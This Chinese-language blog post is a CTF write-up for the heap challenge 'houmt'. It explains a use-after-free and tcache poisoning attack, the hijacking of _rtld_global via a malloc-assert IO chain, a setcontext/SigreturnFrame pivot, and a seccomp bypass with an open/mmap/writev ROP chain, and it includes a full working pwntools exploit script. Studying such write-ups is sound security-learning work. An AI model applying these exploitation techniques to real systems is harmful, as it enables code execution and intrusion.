houmt

houmt

最近没有什么时就想着复现一下winmt师傅的awdp,不得不说winmt师傅真强,大一出的题就这么难

泄露地址

这个show中打印规则每次打印一个字节且是经过两次异或后的及结果,也可以是看作一次异或,因为第二次异或是和0异或,第一次异或是和下一个字节,也就是说如果heap中存放的数据是0xabcd打印数据从低到到是 d^c , c^b ,b^a, a^0

image-20230728090933102

image-20230728091544278

一些检查&&保护

在add中做了一个检查,导致无法申请有关libc的任何地址。也就说就绝了正常的io打法,更别说hook了

image-20230728112932079

<getkeyserv_handle+576>:      mov    rdx,QWORD PTR [rdi+0x8]
<getkeyserv_handle+580>:      mov    QWORD PTR [rsp],rax
<getkeyserv_handle+584>:      call   QWORD PTR [rdx+0x20]
<getkeyserv_handle+587>:      mov    QWORD PTR [rbx],0x0

调用链&&攻击流程

就是利用uaf不断打一个tcache posioning 向ld_base + ld.sym['_rtld_global'] + 0xf90ld_base + ld.sym['_rtld_global'] + 0xf90输入数据

同时利用tcache_perthread_struct的一个特性将在tcache_perthread_structchunk申请出来后,会将这个chunk的key置空也就是chunk+8处的地址,可以利用这一点去将stderrvtable置空

至于这个io链,这个也没有什么检查需要绕过只要保证vtable是违法的就行

_int_malloc

sysmalloc

__malloc_assert

__fxprintf

locked_vfxprintf

__vfprintf_internal

buffered_vfprintf

_IO_vtable_check

_dl_addr

call qword ptr [r13 + 0xf90] (getkeyserv_handle+576

控制执行流的话也比较简单就是控制(ld_base + ld.sym['_rtld_global'] + 0xf90)中的值就行 (call)

ld_base + ld.sym['_rtld_global'] + 0x978) 控制rdi

打orw的思路就是

控制callgetkeyserv_handle+576 (为了控制rdx

控制rdi同时布局控制下一个call[setcontext'] + 61,和利用SigreturnFrame()控制寄存器

下面就是执行read,想free_hook中输入orw,因为上面在SigreturnFrame()中控制rspfree_hook ,read执行完后就直接到orw

ld_base + ld.sym['_rtld_global'] + 0x980)输入的数据

address = libc_base + libc.sym['__free_hook']  
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address    # rsi
frame.rdx = 0x100
frame.rsp = address    # rsp
frame.rip = libc_base + libc.sym['read']
frame.r12=0xdeadbeef
payload=p64(0xdeadbeef)
payload+=p64(0xdeadbeef)  # rdi
payload += p64(ld_base + ld.sym['_rtld_global'] + 0x988)   #rdx
payload += p64(0)*2 
payload += p64(libc_base + libc.sym['setcontext'] + 61)   #[rdx+0x20]
payload += bytes(frame)[0x28:]

dl_addr

可以看到r13 + 0xf90就是ld_base + ld.sym['_rtld_global'] + 0xf90

rdi就是ld_base + ld.sym['_rtld_global'] + 0x978)

image-20230729104234230

既然现在我们可以控制rdi了,利用下面这段代码控制rdx,在结合下面这个代码,就可以控制rdx

<getkeyserv_handle+576>    mov    rdx, qword ptr [rdi + 8]
<getkeyserv_handle+580>    mov    qword ptr [rsp], rax
<getkeyserv_handle+584>    call   qword ptr [rdx + 0x20

既然可以控制rdx了,那必须就要用setcontext+61处代码,而且我终于知道大佬们是怎么准确控制对应的寄存器,就是利用SigreturnFrame()这个工具,里面的寄存器布局和setcontext+61弹出的寄存器基本一致只要修改一下偏移就行了,bytes(frame)[0x28:]

绕过沙箱

禁用了close,pread64,readv,write,pwrite64,并且规定read的第一个参数只能为0,在加上close也被禁用了

利用思路

1、利用open打开flag文件

2、利用mmapflag映射到出来 (mmap(0x80000,0x1000,1,1,3,0))

3、利用writev (writev(1,addr,1))这个addr不是0x80000,而是装有0x80000的地址

pwrite64

image-20230729112249999

image-20230729112323668

exp

from tools import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./houmt")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")

def add(content):
	io.sendlineafter("Please input your choice > ", b'1')
	io.sendafter("Please input the content : \n", content)

def edit(idx, content):
	io.sendlineafter("Please input your choice > ", b'2')
	io.sendlineafter("Please input the index : ", str(idx))
	io.sendafter("Please input the content : \n", content)

def free(idx):
	io.sendlineafter("Please input your choice > ", b'3')
	io.sendlineafter("Please input the index : ", str(idx))

def show(idx):
	io.sendlineafter("Please input your choice > ", b'4')
	io.sendlineafter("Please input the index : ", str(idx))

def quit():
	io.sendlineafter("Please input your choice > ", b'5')

free_p=0x1ABF
show_p=0x1C26
edit_p=0x01A1F 
add_read=0x193A
add_p=0x018AB
for i in range(8):
	add("\n") # 0~7
free(0)
show(0)
leak = []
for i in range (5):
	leak.append(u8(io.recv(1)))
leak[3]=leak[3]^leak[4]
leak[2]=leak[2]^leak[3]
leak[1]=leak[1]^leak[2]
leak[0]=leak[0]^leak[1]
heap=b''
heap+=p8(leak[0])
heap+=p8(leak[1])
heap+=p8(leak[2])
heap+=p8(leak[3])
heap+=p8(leak[4])
key=u64(heap.ljust(8,b'\x00'))
heap_base=key<<12
log_addr('heap_base')

for i in range(1, 6):
    free(i)
free(7)
free(6)
show(6)
leak=[]
for i in range (6):
	leak.append(u8(io.recv(1)))
	print(leak[i])

leak[4]=leak[4]^leak[5]
leak[3]=leak[3]^leak[4]
leak[2]=leak[2]^leak[3]
leak[1]=leak[1]^leak[2]
leak[0]=leak[0]^leak[1]

libc_base=b''
libc_base+=p8(leak[0])
libc_base+=p8(leak[1])
libc_base+=p8(leak[2])
libc_base+=p8(leak[3])
libc_base+=p8(leak[4])
libc_base+=p8(leak[5])
libc_base=u64(libc_base.ljust(8,b'\x00'))-0x1e0c00
log_addr('libc_base')
ld_base = libc_base + 0x1ee000

edit(7, p64(key ^ (heap_base + 0xf0)))
add("\n") # 8
add(p64(0) + p64(0x111) + p64(0) + p64(heap_base + 0x100)) # 9

magic_gadget = libc_base + 0x14a0a0
add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0xf90)) # 10
a1=ld_base + ld.sym['_rtld_global'] + 0xf90
log_addr('a1')
add(p64(magic_gadget)) # 11
free(10)
add(p64(0) + p64(ld_base + ld.sym['_rtld_global'] + 0x980)) # 12
a2=ld_base + ld.sym['_rtld_global'] + 0x980

address = libc_base + libc.sym['__free_hook']  
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = address    # rsi
frame.rdx = 0x100
frame.rsp = address    # rsp
frame.rip = libc_base + libc.sym['read']
frame.r12=0xdeadbeef
payload=p64(0xdeadbeef)
payload+=p64(0xdeadbeef)  # rdi
payload += p64(ld_base + ld.sym['_rtld_global'] + 0x988)   #rdx
payload += p64(0)*2 
payload += p64(libc_base + libc.sym['setcontext'] + 61)   #[rdx+0x20]
payload += bytes(frame)[0x28:]
add(payload) # 13

free(10)
 
add(p64(0) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0xd0)) # 14

io.sendlineafter("Please input your choice > ", b'1')

free(10)
add(p64(0) + p64(heap_base + 0xb10)) # 15
add(p64(0) + p64(0x88)) # 16

add("aaaaaaaa") # 17
debug(io,'pie',show_p,free_p,edit_p,add_read,add_p) 
io.sendlineafter("Please input your choice > ", b'1') # 18

pop_rax_ret = libc_base + 0x44c70
pop_rdi_ret = libc_base + 0x121b1d
pop_rsi_ret = libc_base + 0x2a4cf
pop_rdx_ret = libc_base + 0xc7f32
pop_rcx_rbx_ret = libc_base + 0xfc104
pop_r8_ret = libc_base + 0x148686
syscall = libc_base + 0x6105a
orw_rop = p64(pop_rdi_ret) + p64(address + 0xd0)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(pop_rax_ret) + p64(2) + p64(syscall)
orw_rop += p64(pop_rdi_ret) + p64(0x80000)
orw_rop += p64(pop_rsi_ret) + p64(0x1000)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(pop_rcx_rbx_ret) + p64(1) + p64(0)
orw_rop += p64(pop_r8_ret) + p64(3)
orw_rop += p64(libc_base + libc.sym['mmap'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(address + 0xd8)
orw_rop += p64(pop_rdx_ret) + p64(1)
orw_rop += p64(libc_base + libc.sym['writev'])
orw_rop += b'./flag\x00\x00' + p64(0x80000) + p64(0x50)
pause()
io.send(orw_rop)
io.interactive()
#0x157091

参考 https://www.cnblogs.com/winmt/

posted @ 2023-07-29 13:35  何思泊河  阅读(56)  评论(0编辑  收藏  举报